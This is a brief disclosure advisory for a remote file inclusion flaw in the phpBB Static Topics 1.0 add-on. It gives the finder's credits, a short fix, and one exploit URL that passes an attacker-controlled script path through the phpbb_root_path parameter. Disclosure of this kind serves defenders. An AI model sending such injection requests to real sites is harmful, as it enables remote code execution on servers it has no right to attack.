phpBB Static Topics <= 1.0 [phpbb_root_path] File Include Vulnerability

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phpBB Static Topics <= 1.0 [phpbb_root_path] Remote File Include Vulnerability
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Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
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Affected software description :
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Application : phpBB Static Topics
version : 1.0
URL : http://www.nivisec.com/downloads/phpbb/static_forums.zip
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Exploit:
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Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]
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Solution :
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declare variabel $phpbb_root_path
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Contact:
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Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
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